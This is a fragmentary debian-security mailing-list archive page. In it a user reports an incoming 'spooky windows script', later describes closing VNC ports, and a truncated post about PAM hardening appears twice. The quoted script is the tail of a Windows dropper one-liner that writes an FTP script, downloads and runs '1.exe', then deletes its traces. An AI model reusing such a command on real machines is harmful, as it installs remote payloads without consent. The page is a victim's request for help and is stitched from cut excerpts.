Re: spooky windows script

That's just what I've done: closed the vnc-holes in my firewall (btw it does use a blacklist on incoming connections), and configured the vino-server to not be running by default and when it runs to not accept any unauthorised connections. Let's see if that does the trick. Greetings, Jan >

Re: spooky windows script

Datum: 08/05/07 04:15 PM > > Van: "David Clymer" <[EMAIL PROTECTED]> > > Aan: debian-security@lists.debian.org > > CC: > > Onderwerp : Re: spooky windows script > > > > On Tue, 2007-05-08 at 14:57 +0200, Jan Outhuis wrote: > > > Hello, >

spooky windows script

> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit (I see on my network monitor that this is coming from outside; IP-number and user name vary.) After that all is back to normal. Now this is of course a nuisance, but is it also a thread? And what can be

problem with pam.deny.so

Hallo, I've been struggling with hardening my pam.d stacks lately. Upon replacing pam.unix.so by a stack containing account.so, auth.so, session.so, warn.so and deny.so, the login shell starts returning messages like 'user account expired', even for my root account. I've been fiddling with /e

problem with pam.deny.so

Hallo, I've been struggling with hardening my pam.d stacks lately. Upon replacing pam.unix.so by a stack containing account.so, auth.so, session.so, warn.so and deny.so, the login shell starts returning messages like 'user account expired', even for my root account. I've been fiddling with /et